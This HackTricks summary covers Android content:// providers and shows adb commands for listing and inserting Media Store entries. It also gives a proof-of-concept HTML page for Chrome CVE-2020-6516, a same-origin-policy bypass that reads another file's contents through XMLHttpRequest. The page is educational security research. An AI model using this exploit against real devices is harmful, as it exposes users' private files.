> For the complete documentation index, see [llms.txt](https://angelica.gitbook.io/hacktricks/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://angelica.gitbook.io/hacktricks/mobile-pentesting/android-app-pentesting/content-protocol.md).

# content:// protocol

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<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>

{% embed url="<https://websec.nl/>" %}

**This is a summary of the post** [**https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/**](https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/)

#### Listing Files in Media Store

To list files managed by the Media Store, the command below can be used:

```bash
$ content query --uri content://media/external/file
```

For a more human-friendly output, displaying only the identifier and path of each indexed file:

```bash
$ content query --uri content://media/external/file --projection _id,_data
```

Content providers are isolated in their own private namespace. Access to a provider requires the specific `content://` URI. Information about the paths for accessing a provider can be obtained from application manifests or the Android framework's source code.

#### Chrome's Access to Content Providers

Chrome on Android can access content providers through the `content://` scheme, allowing it to access resources like photos or documents exported by third-party applications. To illustrate this, a file can be inserted into the Media Store and then accessed via Chrome:

Insert a custom entry into the Media Store:

```bash
cd /sdcard
echo "Hello, world!" > test.txt
content insert --uri content://media/external/file \
    --bind _data:s:/storage/emulated/0/test.txt \
    --bind mime_type:s:text/plain
```

Discover the identifier of the newly inserted file:

```bash
content query --uri content://media/external/file \
    --projection _id,_data | grep test.txt
# Output: Row: 283 _id=747, _data=/storage/emulated/0/test.txt
```

The file can then be viewed in Chrome using a URL constructed with the file's identifier.

For instance, to list files related to a specific application:

```bash
content query --uri content://media/external/file --projection _id,_data | grep -i <app_name>
```

#### Chrome CVE-2020-6516: Same-Origin-Policy Bypass

The *Same Origin Policy* (SOP) is a security protocol in browsers that restricts web pages from interacting with resources from different origins unless explicitly allowed by a Cross-Origin-Resource-Sharing (CORS) policy. This policy aims to prevent information leaks and cross-site request forgery. Chrome considers `content://` as a local scheme, implying stricter SOP rules, where each local scheme URL is treated as a separate origin.

However, CVE-2020-6516 was a vulnerability in Chrome that allowed a bypass of SOP rules for resources loaded via a `content://` URL. In effect, JavaScript code from a `content://` URL could access other resources loaded via `content://` URLs, which was a significant security concern, especially on Android devices running versions earlier than Android 10, where scoped storage was not implemented.

The proof-of-concept below demonstrates this vulnerability, where an HTML document, after being uploaded under **/sdcard** and added to the Media Store, uses `XMLHttpRequest` in its JavaScript to access and display the contents of another file in the Media Store, bypassing the SOP rules.

Proof-of-Concept HTML:

```xml
<html>
<head>
    <title>PoC</title>
    <script type="text/javascript">
        function poc()
        {
            var xhr = new XMLHttpRequest();

            xhr.onreadystatechange = function()
            {
                if(this.readyState == 4)
                {
                    if(this.status == 200 || this.status == 0)
                    {
                        alert(xhr.response);
                    }
                }
            }

            xhr.open("GET", "content://media/external/file/747");
            xhr.send();
        }
    </script>
</head>
<body onload="poc()"></body>
</html>
```

<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>

{% embed url="<https://websec.nl/>" %}

{% hint style="success" %}
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Learn & practice GCP Hacking: <img src="/files/aQnEyHWQGyok3qCc92qt" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/files/aQnEyHWQGyok3qCc92qt" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

<details>

<summary>Support HackTricks</summary>

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* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
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</details>
{% endhint %}


---

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